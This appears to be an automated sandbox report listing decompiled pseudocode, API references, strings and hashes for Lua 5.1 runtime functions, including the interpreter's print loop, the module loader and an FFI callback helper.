0x005e1cfe
0x005e1d03
0x005e1d06
0x005e1d0b
0x005e1d79
0x005e1d80
0x005e1d80
0x005e1d85
0x005e1d8a
0x005e1d8a
0x005e1d8d
0x005e1d8e
0x005e1d8f
0x005e1d9e
0x005e1dab
0x005e1dae
0x005e1db1
0x005e1db4
0x005e1d80
0x005e1d0d
0x005e1d10
0x005e1d16
0x005e1d16
0x005e1d16
0x005e1d19
0x005e1d1a
0x005e1d1c
0x005e1d1d
0x005e1d22
0x005e1d27
0x005e1d2c
0x005e1d2e
0x005e1d2f
0x005e1d3e
0x005e1d43
0x005e1d48
0x005e1d4a
0x005e1d4b
0x005e1d4e
0x005e1d5d
0x005e1d5f
0x005e1d60
0x005e1d63
0x005e1d68
0x005e1d6a
0x005e1d6d
0x005e1d72
0x005e1d72
0x005e1d10
0x005e1dca
0x005e1dca
0x005e1dce
0x005e1dd3
0x005e1dd8
0x005e1dda
0x005e1ddf
0x005e1de0
0x005e1de5
0x005e1de5
0x005e1de8
0x005e1dea
0x005e1deb
0x005e1df5
0x005e1e67
0x005e1e6b
0x005e1df7
0x005e1df7
0x005e1df9
0x005e1dfa
0x005e1e04
0x00000000
0x005e1e06
0x005e1e06
0x005e1e0b
0x005e1e10
0x005e1e11
0x005e1e16
0x005e1e18
0x005e1e1a
0x005e1e1b
0x005e1e25
0x005e1e27
0x005e1e28
0x005e1e3a
0x005e1e54
0x005e1e56
0x005e1e5b
0x005e1e5c
0x005e1e61
0x00000000
0x005e1e2a
0x005e1e2a
0x005e1e39
0x005e1e39
0x005e1e28
0x005e1e04

APIs

Part of subcall function 005E1110: lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
Part of subcall function 005E1110: lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
Part of subcall function 005E1110: lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
Part of subcall function 005E1110: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
Part of subcall function 005E1110: lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153

lua_type.LUA5.1(?,00000002), ref: 005E1BB2
lua_getfield.LUA5.1(?,00000002,ret), ref: 005E1BC7
luaL_checkoption.LUA5.1(?,000000FF,int,hR^,?,00000002,ret), ref: 005E1BD9
lua_getfield.LUA5.1(?,00000002,abi,?,000000FF,int,hR^,?,00000002,ret), ref: 005E1BFA
luaL_checkoption.LUA5.1(?,000000FF,default,005E532C,?,00000002,abi,?,000000FF,int,hR^,?,00000002,ret), ref: 005E1C0C
lua_settop.LUA5.1(?,000000FD,?,000000FF,default,005E532C,?,00000002,abi,?,000000FF,int,hR^,?,00000002,ret), ref: 005E1C1F
luaL_checkoption.LUA5.1(?,00000002,int,hR^), ref: 005E1C36
free.MSVCR80(?), ref: 005E1C68
free.MSVCR80(?), ref: 005E1C6E
lua_type.LUA5.1(?,00000002), ref: 005E1C7C
lua_objlen.LUA5.1(?,00000002), ref: 005E1C8C
lua_gettop.LUA5.1(?), ref: 005E1C97
malloc.MSVCR80 ref: 005E1CB7
luaL_error.LUA5.1(?,alien: out of memory), ref: 005E1CC9
malloc.MSVCR80 ref: 005E1CD9
luaL_error.LUA5.1(?,alien: out of memory), ref: 005E1CEB
lua_type.LUA5.1(?,00000002), ref: 005E1CFE
lua_rawgeti.LUA5.1(?,00000002,00000001), ref: 005E1D1D
luaL_checkoption.LUA5.1(?,000000FF,int,hR^,?,00000002,00000001), ref: 005E1D2F
luaL_checkoption.LUA5.1(?,000000FF,int,hR^,?,000000FF,int,hR^,?,00000002,00000001), ref: 005E1D4E
lua_settop.LUA5.1(?,000000FE,?,000000FF,int,hR^,?,000000FF,int,hR^,?,00000002,00000001), ref: 005E1D63
luaL_checkoption.LUA5.1(?,00000003,int,hR^), ref: 005E1D8F
luaL_error.LUA5.1(?,alien: error in libffi preparation), ref: 005E1DE0
lua_touserdata.LUA5.1(?,00000001), ref: 005E1DEB
lua_getmetatable.LUA5.1(?,00000001), ref: 005E1DFA
lua_getfield.LUA5.1(?,FFFFD8F0,alien_callback), ref: 005E1E11
lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,alien_callback), ref: 005E1E1B
lua_settop.LUA5.1(?,000000FD), ref: 005E1E2A
lua_settop.LUA5.1(?,000000FD), ref: 005E1E3A
luaL_error.LUA5.1(?,alien: cannot create callback), ref: 005E1E5C

Strings

int, xrefs: 005E1BD1, 005E1C2E, 005E1D27, 005E1D43, 005E1D85
\p^, xrefs: 005E1C45, 005E1D37, 005E1D97
alien_callback, xrefs: 005E1B85, 005E1E06
alien_function, xrefs: 005E1B69
alien function or callback expected, xrefs: 005E1B9D
alien: cannot create callback, xrefs: 005E1E56
hR^, xrefs: 005E1BCC, 005E1C29, 005E1D22, 005E1D3E, 005E1D80
ret, xrefs: 005E1BBF
alien: error in libffi preparation, xrefs: 005E1DDA
default, xrefs: 005E1C04
abi, xrefs: 005E1BE5
alien: out of memory, xrefs: 005E1CC3, 005E1CE5

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkoption.$lua_settop.$L_error.lua_getfield.$lua_type.$freelua_getmetatable.lua_rawequal.lua_touserdata.malloc$lua_gettop.lua_objlen.lua_rawgeti.
String ID: \p^$abi$alien function or callback expected$alien: cannot create callback$alien: error in libffi preparation$alien: out of memory$alien_callback$alien_function$default$hR^$int$ret
API String ID: 3555972620-2243842122
Opcode ID: 07c3ed0a50fb2bd64fe2b16870d679f750e625d5e79961ccf96d7017b2337ae1
Instruction ID: 3dfdd88d5b1bc9243e87d8647237e799e1c003b1f3da7b61c6b350ca29640342
Opcode Fuzzy Hash: 07c3ed0a50fb2bd64fe2b16870d679f750e625d5e79961ccf96d7017b2337ae1
Instruction Fuzzy Hash: 27816870A44B867BC70CAF26DC8BD5A3F28BF85314B500614F495536C1F775AA248AEA

Uniqueness

Uniqueness Score: -1.00%

Function 00401750, Relevance: 70.2, APIs: 35, Strings: 5, Instructions: 173
COMMON

Download Yara Rule

C-Code - Quality: 32%

			E00401750(int __edi, void* __esi, void* __eflags) {
				intOrPtr _v4;
				void* __ecx;
				void* __ebp;
				int _t4;
				int _t10;
				int _t11;
				intOrPtr _t12;
				struct _IO_FILE* _t17;
				intOrPtr _t22;
				int _t31;
				void* _t35;
				void* _t38;
				void* _t39;
				intOrPtr* _t40;
				void* _t41;
				void* _t45;
				void* _t46;
				struct _IO_FILE* _t62;

				_t38 = __esi;
				_t36 = __edi;
				_v4 =  *0x404018;
				 *0x404018 = 0;
				_t4 = E004015B0(__esi, _t35, __edi, __esi, _t39, __eflags);
				_t40 = __imp____iob_func;
				_t31 = _t4;
				if(_t31 == 0xffffffff) {
					L19:
					L00401F0C();
					fputs("\n",  *_t40(_t38, 0) + 0x20);
					_t10 = fflush( *_t40() + 0x20);
					 *0x404018 = _v4;
					return _t10;
				} else {
					_push(__edi);
					do {
						if(_t31 != 0) {
							L5:
							_push(0xffffffff);
							_push(_t38);
							L00401F4E();
							_t41 = _t41 + 8;
							if(_t4 != 0) {
								_push(0);
								_push(0xffffffff);
								_push(_t38);
								L00401F36();
								_t36 = _t4;
								_t46 = _t41 + 0xc;
								if(_t36 == 0) {
									_t36 = "(error object is not a string)";
								}
								_t22 =  *0x404018;
								if(_t22 != 0) {
									fprintf( *_t40(_t22) + 0x40, "%s: ");
									_t46 = _t46 + 0xc;
								}
								fprintf( *_t40(_t36) + 0x40, "%s\n");
								_t4 = fflush( *_t40() + 0x40);
								_push(0xfffffffe);
								_push(_t38);
								L00401F0C();
								_t41 = _t46 + 0x18;
							}
							if(_t31 == 0) {
								L12:
								_push(_t38);
								L00401F00();
								_t41 = _t41 + 4;
								if(_t4 > 0) {
									_push("print");
									_push(0xffffd8ee);
									_push(_t38);
									L00401EE2();
									_push(1);
									_push(_t38);
									L00401F06();
									_push(0);
									_push(0);
									_push(_t38);
									L00401F00();
									_t11 = _t4 - 1;
									_push(_t11);
									_push(_t38);
									L00401F60();
									_t41 = _t41 + 0x28;
									if(_t11 != 0) {
										_push(0);
										_push(0xffffffff);
										_push(_t38);
										L00401F36();
										_push(_t11);
										_push("error calling \'print\' (%s)");
										_push(_t38);
										L00401EF4();
										_t36 = _t11;
										_t12 =  *0x404018;
										_t45 = _t41 + 0x18;
										if(_t12 != 0) {
											fprintf( *_t40(_t12) + 0x40, "%s: ");
											_t45 = _t45 + 0xc;
										}
										fprintf( *_t40(_t36) + 0x40, "%s\n");
										_t17 =  *_t40() + 0x40;
										_t62 = _t17;
										fflush(_t17);
										_t41 = _t45 + 0x10;
									}
								}
							}
							goto L17;
						}
						L00401F00();
						_t36 = _t4;
						L00401F5A();
						L00401F06();
						__imp__signal(2, E00401030, _t38, _t36, _t38, E004010B0, _t31, _t38);
						L00401F60();
						_t31 = _t4;
						__imp__signal(2, 0, _t38, _t31, 0xffffffff, _t36);
						_push(_t36);
						_push(_t38);
						L00401F7E();
						_t41 = _t41 + 0x40;
						if(_t31 == 0) {
							goto L12;
						}
						_push(0);
						_push(2);
						_push(_t38);
						L00401ED6();
						_t41 = _t41 + 0xc;
						if(_t31 == 0) {
							goto L12;
						}
						goto L5;
						L17:
						_t4 = E004015B0(_t38, _t35, _t36, _t38, _t40, _t62);
						_t31 = _t4;
					} while (_t31 != 0xffffffff);
					goto L19;
				}
			}

0x00401750
0x00401750
0x0040175a
0x0040175e
0x00401768
0x0040176d
0x00401773
0x00401778
0x00401912
0x00401915
0x00401925
0x00401931
0x0040193f
0x00401947
0x0040177e
0x0040177e
0x00401780
0x00401782
0x004017e5
0x004017e5
0x004017e7
0x004017e8
0x004017ed
0x004017f2
0x004017f4
0x004017f6
0x004017f8
0x004017f9
0x004017fe
0x00401800
0x00401805
0x00401807
0x00401807
0x0040180c
0x00401813
0x00401821
0x00401827
0x00401827
0x00401836
0x00401842
0x00401848
0x0040184a
0x0040184b
0x00401850
0x00401850
0x00401855
0x0040185b
0x0040185b
0x0040185c
0x00401861
0x00401866
0x0040186c
0x00401871
0x00401876
0x00401877
0x0040187c
0x0040187e
0x0040187f
0x00401887
0x00401889
0x0040188b
0x0040188c
0x00401894
0x00401897
0x00401898
0x00401899
0x0040189e
0x004018a3
0x004018a5
0x004018a7
0x004018a9
0x004018aa
0x004018af
0x004018b0
0x004018b5
0x004018b6
0x004018bb
0x004018bd
0x004018c2
0x004018c7
0x004018d5
0x004018db
0x004018db
0x004018ea
0x004018f2
0x004018f2
0x004018f6
0x004018fc
0x004018fc
0x004018a3
0x00401866
0x00000000
0x00401855
0x00401785
0x00401791
0x00401793
0x0040179a
0x004017a6
0x004017b1
0x004017ba
0x004017bc
0x004017c2
0x004017c3
0x004017c4
0x004017c9
0x004017ce
0x00000000
0x00000000
0x004017d4
0x004017d6
0x004017d8
0x004017d9
0x004017de
0x004017e3
0x00000000
0x00000000
0x00000000
0x004018ff
0x00401901
0x00401906
0x00401908
0x00000000
0x00401911

APIs

Part of subcall function 004015B0: lua_settop.LUA5.1(?,00000000), ref: 004015CA

lua_gettop.LUA5.1 ref: 00401785
lua_pushcclosure.LUA5.1(?,Function_000010B0,00000000), ref: 00401793
lua_insert.LUA5.1(?,00000000,?,Function_000010B0,00000000), ref: 0040179A
signal.MSVCR80 ref: 004017A6
lua_pcall.LUA5.1(?,00000000,000000FF,00000000,?,00000000,?,Function_000010B0,00000000), ref: 004017B1
signal.MSVCR80 ref: 004017BC
lua_remove.LUA5.1(?,00000000,?,00000000,000000FF,00000000,?,00000000,?,Function_000010B0,00000000), ref: 004017C4
lua_gc.LUA5.1(?,00000002,00000000), ref: 004017D9
lua_type.LUA5.1(?,000000FF), ref: 004017E8
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 004017F9
__iob_func.MSVCR80 ref: 0040181B
fprintf.MSVCR80 ref: 00401821
__iob_func.MSVCR80 ref: 00401830
fprintf.MSVCR80 ref: 00401836
__iob_func.MSVCR80 ref: 0040183C
fflush.MSVCR80 ref: 00401842
lua_settop.LUA5.1(?,000000FE), ref: 0040184B
lua_gettop.LUA5.1 ref: 0040185C
lua_getfield.LUA5.1(?,FFFFD8EE,print), ref: 00401877
lua_insert.LUA5.1(?,00000001,?,FFFFD8EE,print), ref: 0040187F
lua_gettop.LUA5.1(?,00000000,00000000), ref: 0040188C
lua_pcall.LUA5.1(?,-00000001,00000000), ref: 00401899
lua_tolstring.LUA5.1(?,000000FF,00000000), ref: 004018AA
lua_pushfstring.LUA5.1(?,error calling 'print' (%s),00000000,?,000000FF,00000000), ref: 004018B6
__iob_func.MSVCR80 ref: 004018CF
fprintf.MSVCR80 ref: 004018D5
__iob_func.MSVCR80 ref: 004018E4
fprintf.MSVCR80 ref: 004018EA
__iob_func.MSVCR80 ref: 004018F0
fflush.MSVCR80 ref: 004018F6
lua_settop.LUA5.1(?,00000000), ref: 00401915
__iob_func.MSVCR80 ref: 0040191A
fputs.MSVCR80 ref: 00401925
__iob_func.MSVCR80 ref: 0040192B
fflush.MSVCR80 ref: 00401931

Strings

%s, xrefs: 0040182B, 004018DF
print, xrefs: 0040186C
(error object is not a string), xrefs: 00401807
error calling 'print' (%s), xrefs: 004018B0
%s: , xrefs: 00401816, 004018CA

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __iob_func$fprintf$fflushlua_gettop.lua_settop.$lua_insert.lua_pcall.lua_tolstring.signal$fputslua_gc.lua_getfield.lua_pushcclosure.lua_pushfstring.lua_remove.lua_type.
String ID: %s$%s: $(error object is not a string)$error calling 'print' (%s)$print
API String ID: 3072291466-2910501928
Opcode ID: 82382bcf7c7f7a29eb67ab983bd920c80ae100ae6be382d54b9cfbc6d4e97d58
Instruction ID: db1acb59b64f700ab0564d85293d74989a5e4d03c3af61c10a03808a2e96185f
Opcode Fuzzy Hash: 82382bcf7c7f7a29eb67ab983bd920c80ae100ae6be382d54b9cfbc6d4e97d58
Instruction Fuzzy Hash: 7041ADB260121237E6103B765C4BF2B354C9F4176AF24423AFA15B52E2EE7CAB0441AE

Uniqueness

Uniqueness Score: -1.00%

Function 10016770, Relevance: 64.9, APIs: 32, Strings: 5, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E10016770(void* __ebx, void* __ecx, void* __eflags, void* __fp0, intOrPtr _a4) {
				void* _t6;
				void* _t8;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				void* _t27;
				void* _t36;
				void* _t37;
				void* _t39;
				intOrPtr _t41;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t51;
				void* _t57;

				_t57 = __fp0;
				_t54 = __eflags;
				_t39 = __ecx;
				_t36 = __ebx;
				_t41 = _a4;
				_t40 = E1000F4A0(__eflags, _t41, 1, 0);
				E10001160(_t41, 1);
				E10001B90(_t39, _t54, _t41, 0xffffd8f0, "_LOADED");
				E10001B90(_t39, _t54, _t41, 2, _t2);
				_t6 = E100016C0(_t54, _t41, 0xffffffff);
				_t43 = _t42 + 0x34;
				_t55 = _t6;
				if(_t6 == 0) {
					E10001B90(_t39, __eflags, _t41, 0xffffd8ef, "loaders");
					_t8 = E10001410(__eflags, _t41, 0xffffffff);
					_t44 = _t43 + 0x14;
					__eflags = _t8 - 5;
					if(_t8 != 5) {
						_push("\'package.loaders\' must be a table");
						_push(_t41);
						E1000F230();
						_t44 = _t44 + 8;
					}
					_push(_t36);
					E10001930(_t41, 0x1001ab10, 0);
					_t45 = _t44 + 0xc;
					_t37 = 1;
					while(1) {
						E10001C30(__eflags, _t57, _t41, 0xfffffffe, _t37);
						_t11 = E10001410(__eflags, _t41, 0xffffffff);
						_t46 = _t45 + 0x14;
						__eflags = _t11;
						if(__eflags == 0) {
							_push(E100016F0(__eflags, _t41, 0xfffffffe, _t11));
							E1000F230(_t41, "module \'%s\' not found:%s", _t40);
							_t46 = _t46 + 0x1c;
						}
						E10001980(_t39, _t41, _t40);
						E10002070(_t41, 1, 1);
						_t14 = E10001410(__eflags, _t41, 0xffffffff);
						_t47 = _t46 + 0x1c;
						__eflags = _t14 - 6;
						if(__eflags == 0) {
							break;
						}
						_t27 = E100014D0(__eflags, _t41, 0xffffffff);
						_t51 = _t47 + 8;
						__eflags = _t27;
						if(_t27 == 0) {
							E10001160(_t41, 0xfffffffe);
							_t45 = _t51 + 8;
							_t37 = _t37 + 1;
						} else {
							E100023C0(_t41, 2);
							_t45 = _t51 + 8;
							_t37 = _t37 + 1;
						}
					}
					E10001B10(_t41, 0x10017a38);
					E10001DD0(_t39, __eflags, _t41, 2, _t40);
					E10001980(_t39, _t41, _t40);
					E10002070(_t41, 1, 1);
					_t19 = E10001410(__eflags, _t41, 0xffffffff);
					_t48 = _t47 + 0x30;
					__eflags = _t19;
					if(__eflags != 0) {
						E10001DD0(_t39, __eflags, _t41, 2, _t40);
						_t48 = _t48 + 0xc;
					}
					E10001B90(_t39, __eflags, _t41, 2, _t40);
					_t21 = E10001810(__eflags, _t41, 0xffffffff);
					__eflags = _t21 - 0x10017a38;
					if(_t21 == 0x10017a38) {
						E10001AE0(_t41, 1);
						E100013D0(__eflags, _t41, 0xffffffff);
						E10001DD0(_t39, __eflags, _t41, 2, _t40);
					}
					goto L16;
				} else {
					if(E10001810(_t55, _t41, 0xffffffff) != 0x10017a38) {
						L16:
						return 1;
					} else {
						E1000F230(_t41, "loop or previous error loading module \'%s\'", _t40);
						return 1;
					}
				}
			}

0x10016770
0x10016770
0x10016770
0x10016770
0x10016771
0x10016783
0x10016785
0x10016795
0x1001679e
0x100167a6
0x100167ab
0x100167ae
0x100167b0
0x100167ea
0x100167f2
0x100167f7
0x100167fa
0x100167fd
0x100167ff
0x10016804
0x10016805
0x1001680a
0x1001680a
0x1001680d
0x10016816
0x1001681b
0x1001681e
0x10016823
0x10016827
0x1001682f
0x10016834
0x10016837
0x10016839
0x10016844
0x1001684c
0x10016851
0x10016851
0x10016856
0x10016860
0x10016868
0x1001686d
0x10016870
0x10016873
0x00000000
0x00000000
0x10016878
0x1001687d
0x10016880
0x10016882
0x10016895
0x1001689a
0x1001689d
0x10016884
0x10016887
0x1001688c
0x1001688f
0x1001688f
0x10016882
0x100168a6
0x100168af
0x100168b6
0x100168c0
0x100168c8
0x100168cd
0x100168d0
0x100168d3
0x100168d9
0x100168de
0x100168de
0x100168e5
0x100168ed
0x100168f5
0x100168fa
0x100168ff
0x10016907
0x10016910
0x10016915
0x00000000
0x100167b2
0x100167c2
0x10016919
0x1001691f
0x100167c8
0x100167cf
0x100167de
0x100167de
0x100167c2

APIs

luaL_checklstring.LUA5.1(?,00000001,00000000), ref: 1001677B

Part of subcall function 1000F4A0: lua_tolstring.LUA5.1(?,?,?,?,?,?,1000F292,?,?,00000000), ref: 1000F4B2

lua_settop.LUA5.1(?,00000001,?,00000001,00000000), ref: 10016785
lua_getfield.LUA5.1(?,FFFFD8F0,_LOADED,?,00000001,?,00000001,00000000), ref: 10016795

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_getfield.LUA5.1(?,00000002,00000000,?,FFFFD8F0,_LOADED,?,00000001,?,00000001,00000000), ref: 1001679E
lua_toboolean.LUA5.1(?,000000FF,?,00000002,00000000,?,FFFFD8F0,_LOADED,?,00000001,?,00000001,00000000), ref: 100167A6
lua_touserdata.LUA5.1(?,000000FF), ref: 100167B5
luaL_error.LUA5.1(?,loop or previous error loading module '%s',00000000), ref: 100167CF

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_getfield.LUA5.1(?,FFFFD8EF,loaders), ref: 100167EA
lua_type.LUA5.1(?,000000FF,?,FFFFD8EF,loaders), ref: 100167F2
luaL_error.LUA5.1(?,'package.loaders' must be a table), ref: 10016805
lua_pushlstring.LUA5.1(?,1001AB10,00000000), ref: 10016816
lua_rawgeti.LUA5.1(?,000000FE,00000001), ref: 10016827
lua_type.LUA5.1(?,000000FF,?,000000FE,00000001), ref: 1001682F
lua_tolstring.LUA5.1(?,000000FE,00000000), ref: 1001683F
luaL_error.LUA5.1(?,module '%s' not found:%s,00000000,00000000,?,000000FE,00000000), ref: 1001684C
lua_pushstring.LUA5.1(?,00000000), ref: 10016856
lua_call.LUA5.1(?,00000001,00000001,?,00000000), ref: 10016860
lua_type.LUA5.1(?,000000FF,?,00000001,00000001,?,00000000), ref: 10016868
lua_isstring.LUA5.1(?,000000FF), ref: 10016878
lua_concat.LUA5.1(?,00000002), ref: 10016887
lua_settop.LUA5.1(?,000000FE), ref: 10016895
lua_pushlightuserdata.LUA5.1(?,10017A38), ref: 100168A6
lua_setfield.LUA5.1(?,00000002,00000000,?,10017A38), ref: 100168AF
lua_pushstring.LUA5.1(?,00000000,?,00000002,00000000,?,10017A38), ref: 100168B6
lua_call.LUA5.1(?,00000001,00000001,?,00000000,?,00000002,00000000,?,10017A38), ref: 100168C0
lua_type.LUA5.1(?,000000FF,?,00000001,00000001,?,00000000,?,00000002,00000000,?,10017A38), ref: 100168C8
lua_setfield.LUA5.1(?,00000002,00000000), ref: 100168D9

Strings

loop or previous error loading module '%s', xrefs: 100167C9
module '%s' not found:%s, xrefs: 10016846
'package.loaders' must be a table, xrefs: 100167FF
_LOADED, xrefs: 1001678A
loaders, xrefs: 100167DF

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_error.lua_getfield.$lua_call.lua_concat.lua_pushstring.lua_setfield.lua_settop.lua_tolstring.$L_checklstring.L_where.S_newlstr.lua_error.lua_isstring.lua_pushlightuserdata.lua_pushlstring.lua_pushvfstring.lua_rawgeti.lua_toboolean.lua_touserdata.
String ID: 'package.loaders' must be a table$_LOADED$loaders$loop or previous error loading module '%s'$module '%s' not found:%s
API String ID: 1305068654-732368299
Opcode ID: 1feaf27350bbdac3550f7facbe34b9ded3384ca3478fbaf569d0af5fc44109c8
Instruction ID: 45f1964f4bcdee0d6963cc1e3054e467d29309837b43f82072be3de9277cad9e
Opcode Fuzzy Hash: 1feaf27350bbdac3550f7facbe34b9ded3384ca3478fbaf569d0af5fc44109c8
Instruction Fuzzy Hash: C341066995A56131F822A1292C43FDF204DCF937F8F650324FA24781DBAE59B7C240FA

Uniqueness

Uniqueness Score: -1.00%

Function 100113C0, Relevance: 61.5, APIs: 20, Strings: 15, Instructions: 216
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E100113C0(void* __ebp, void* __eflags, void* __fp0, char _a4) {
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v100;
				void* __ebx;
				void* __esi;
				void* _t24;
				void* _t25;
				char* _t35;
				char* _t37;
				char* _t38;
				char* _t39;
				char* _t40;
				char* _t41;
				char* _t42;
				void* _t61;
				void* _t64;
				char* _t82;
				void* _t84;
				void* _t88;
				void* _t89;
				void* _t91;
				void* _t92;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;

				_t106 = __fp0;
				_t84 = __ebp;
				_t83 = _a4;
				_t64 = E10011630(__eflags, _a4,  &_a4);
				_t82 = E1000F4E0(_a4 + 2, __eflags, _a4, _a4 + 2, "flnSu", 0);
				_t24 = E10001490(__eflags, __fp0, _a4, _a4 + 1);
				_t88 =  &_v100 + 0x20;
				_t104 = _t24;
				if(_t24 == 0) {
					_t25 = E10001410(__eflags, _t83, _a4 + 1);
					_t89 = _t88 + 8;
					__eflags = _t25 - 6;
					if(_t25 != 6) {
						__eflags = _a4 + 1;
						return E1000F090(_t64, _t83, _a4 + 1, _t83, _a4 + 1, "function or level expected");
					} else {
						E100019F0(_t83, ">%s", _t82);
						_t82 = E100016F0(__eflags, _t83, 0xffffffff, 0);
						__eflags = _a4 + 1;
						E100013D0(_a4 + 1, _t83, _a4 + 1);
						E10001090(_t83, _t64, 1);
						_t91 = _t89 + 0x2c;
						goto L5;
					}
				} else {
					_t61 = E10003F40(_t64, E10001670(_t104, __fp0, _t83, _a4 + 1),  &_v100);
					_t91 = _t88 + 0x14;
					if(_t61 != 0) {
						L5:
						_t35 = E10004130(_t64, _t82,  &_v100);
						_t92 = _t91 + 0xc;
						__eflags = _t35;
						if(_t35 != 0) {
							_push(_t84);
							E10001C70(_t83, 0, 2);
							_t37 = strchr(_t82, 0x53);
							_t93 = _t92 + 0x14;
							__eflags = _t37;
							if(_t37 != 0) {
								E10011600( &_v100, _t83, "source", _v84);
								E10011600( &_v64, _t83, "short_src",  &_v64);
								E10013960(_t106, _t83, "linedefined", _v72);
								E10013960(_t106, _t83, "lastlinedefined", _v68);
								E10011600(_v88, _t83, "what", _v88);
								_t93 = _t93 + 0x3c;
							}
							_t38 = strchr(_t82, 0x6c);
							_t94 = _t93 + 8;
							__eflags = _t38;
							if(_t38 != 0) {
								E10013960(_t106, _t83, "currentline", _v80);
								_t94 = _t94 + 0xc;
							}
							_t39 = strchr(_t82, 0x75);
							_t95 = _t94 + 8;
							__eflags = _t39;
							if(_t39 != 0) {
								E10013960(_t106, _t83, "nups", _v76);
								_t95 = _t95 + 0xc;
							}
							_t40 = strchr(_t82, 0x6e);
							_t96 = _t95 + 8;
							__eflags = _t40;
							if(_t40 != 0) {
								E10011600(_v96, _t83, "name", _v96);
								E10011600(_v96, _t83, "namewhat", _v92);
								_t96 = _t96 + 0x18;
							}
							_t41 = strchr(_t82, 0x4c);
							_t97 = _t96 + 8;
							__eflags = _t41;
							if(_t41 != 0) {
								E10011670(_t83, _t64, "activelines");
								_t97 = _t97 + 0xc;
							}
							_t42 = strchr(_t82, 0x66);
							__eflags = _t42;
							if(_t42 != 0) {
								E10011670(_t83, _t64, "func");
							}
							return 1;
						} else {
							__eflags = _a4 + 2;
							return E1000F090(_t64, _t83, _a4 + 2, _t83, _a4 + 2, "invalid option");
						}
					} else {
						E100018C0(_t83);
						return 1;
					}
				}
			}

0x100113c0
0x100113c0
0x100113c9
0x100113e5
0x100113f3
0x100113f8
0x100113fd
0x10011400
0x10011402
0x10011442
0x10011447
0x1001144a
0x1001144d
0x100115df
0x100115f0
0x10011453
0x1001145a
0x10011469
0x10011472
0x10011475
0x1001147e
0x10011483
0x00000000
0x10011483
0x10011404
0x1001141a
0x1001141f
0x10011424
0x10011486
0x1001148d
0x10011492
0x10011495
0x10011497
0x100114b6
0x100114bc
0x100114ca
0x100114cc
0x100114cf
0x100114d1
0x100114de
0x100114ee
0x100114fe
0x1001150e
0x1001151e
0x10011523
0x10011523
0x10011529
0x1001152b
0x1001152e
0x10011530
0x1001153d
0x10011542
0x10011542
0x10011548
0x1001154a
0x1001154d
0x1001154f
0x1001155c
0x10011561
0x10011561
0x10011567
0x10011569
0x1001156c
0x1001156e
0x1001157b
0x1001158b
0x10011590
0x10011590
0x10011596
0x10011598
0x1001159b
0x1001159d
0x100115a6
0x100115ab
0x100115ab
0x100115b1
0x100115b6
0x100115b9
0x100115c2
0x100115c7
0x100115d5
0x10011499
0x100114a2
0x100114b5
0x100114b5
0x10011426
0x10011427
0x1001143a
0x1001143a
0x10011424

APIs

Part of subcall function 10011630: lua_type.LUA5.1(?,00000001,?,100113D5,?,?), ref: 10011638
Part of subcall function 10011630: lua_tothread.LUA5.1(?,00000001), ref: 10011652

luaL_optlstring.LUA5.1(?,?,flnSu,00000000,?,?), ref: 100113E7

Part of subcall function 1000F4E0: lua_type.LUA5.1(?,?,?,?,1000F27E,?,?,?,00000000), ref: 1000F4EC

lua_isnumber.LUA5.1(?,?,?,?,flnSu,00000000,?,?), ref: 100113F8
lua_tointeger.LUA5.1(?,?,?), ref: 10011410
lua_getstack.LUA5.1(00000000,00000000,?,?), ref: 1001141A
lua_pushnil.LUA5.1(?,?,?,?,?,?), ref: 10011427
lua_type.LUA5.1(?,?), ref: 10011442
